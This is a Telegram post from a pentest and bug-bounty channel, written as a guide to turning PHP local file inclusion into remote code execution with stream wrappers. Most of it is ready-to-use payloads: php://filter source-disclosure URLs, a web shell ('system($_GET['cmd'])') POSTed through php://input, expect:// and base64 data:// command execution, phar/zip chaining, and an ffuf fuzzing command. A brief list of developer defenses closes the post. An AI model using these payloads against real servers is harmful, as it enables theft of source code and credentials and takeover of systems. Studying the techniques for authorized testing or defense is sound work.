GitBook
5.56K subscribers
268 photos
4 videos
390 files
866 links
ctf, pentest, writeUps, osint, labs,
tips، GitBooks, Notion
Web pentest, bug bounty
Download Telegram
πŸ”₯ Mastering PHP Filters & Wrappers for LFI to RCE β€” FULL GUIDE

⚠️Most hackers stop at reading logs.
The elite use PHP wrappers to turn LFI into remote code execution.
This post is your all-in-one breakdown of how PHP wrappers work and how to exploit them like a pro. πŸ‘‡

🎯 Why PHP Wrappers Matter in Bug Bounty
PHP provides built-in stream wrappers β€” special protocols to access I/O sources like files, memory, input/output streams, and even compressed/encrypted data.


As attackers, we can abuse these wrappers to:
βœ… Read raw PHP source (even when .php is auto-appended)
βœ… Bypass execution to leak secrets
βœ… Chain into full RCE
βœ… Abuse legacy or misconfigured server behavior

Commonly used wrappers:
▢️ php://filter
▢️ php://input
▢️ php://memory
▢️ data://
▢️ expect://
▢️ zip://
▢️ phar://

🧬 Using php://filter for Source Code Disclosure
This is the most useful wrapper for LFI.

Payload:
php://filter/read=convert.base64-encode/resource=index


Why it works:
βœ… read=convert.base64-encode prevents execution of the PHP code
βœ… Base64 output = raw, readable source

Example:
http://<IP>/index.php?file=php://filter/read=convert.base64-encode/resource=config

Decode result:
echo 'PD9waHAK...base64...' | base64 -d

Now you see source code, credentials, internal logic, API keys, etc.

πŸ”§ Other Useful PHP Wrappers

1️⃣ php://input

Reads raw POST data.
Good for injecting code during file inclusions via POST.
<?php include('php://input'); ?>

Then POST:
POST /index.php
<?php system($_GET['cmd']); ?>

βœ… Shell access via cmd parameter.

2️⃣ expect:// (if available)

Allows direct execution of system commands.
include('expect://ls');

⚠️ Rare but deadly if enabled.

3️⃣ data://

Inline file input using base64 or plaintext.

Example:
include('data://text/plain;base64,PD9waHAgc3lzdGVtKCd3aG9hbWknKTs/Pg==');

🟑 Executes: system('whoami')

4️⃣ zip://

βœ… Targets ZIP files as file systems.
βœ… Abuse via LFI to include malicious entries.

Structure:
zip://path/to/archive.zip#file_inside.txt

Use this with file upload + LFI combo.

5️⃣ phar://

Deserializes metadata β†’ use with Object Injection + LFI.

Upload malicious PHAR:
phar://path/to/phar_file

If unserialize() is called on a phar wrapper, it can lead to RCE.


πŸ” Fuzzing PHP Files Before Exploiting
ffuf -w /opt/seclists/.../directory-list.txt -u http://<IP>/FUZZ.php


Watch for:

200 β†’ exists and renders
403/302 β†’ access denied, but still includable via LFI


πŸ“ Standard Inclusion vs. Filtered Inclusion

Including via:
?file=config

🟑 Executes file, no output if file has no HTML.

Using filter:
?file=php://filter/read=convert.base64-encode/resource=config

🟑 Returns base64 source code.


πŸ§ͺ Decode & Analyze the Source Code
echo 'base64-encoded-content' | base64 -d


Look for:
βœ… $db_password, $admin_pass
βœ… API endpoints
βœ… Sensitive routes
βœ… Hardcoded JWT secrets or keys


πŸ’£ Advanced Chaining β†’ From LFI to RCE

Read source via php://filter
Find upload paths or SSRF endpoints
Upload malicious phar:// file
Trigger inclusion β†’ RCE

This chain has been used in real-world bounty reports.

🧱 Defense Tips for Developers:
- Disable allow_url_include, allow_url_fopen
- Avoid dynamic include($_GET['page'])
- Use strict whitelists
- Harden php.ini configs
- Monitor suspicious access patterns


🧠 Daily hacking insights
πŸ›  Payloads & Tools
🐞 Real bug bounty techniques
βš”οΈ Hands-on exploitation walkthroughs

πŸ‘ Like this post if it helped
πŸ” Share to boost your hacker circle

πŸ”— Github link : github.com/cybersecplayground...

#lfi #phpwrappers #bugbounty #phpfilters #rce #infosec #cybersecurity #webpentest #cybersecplayground
❀5πŸ”₯1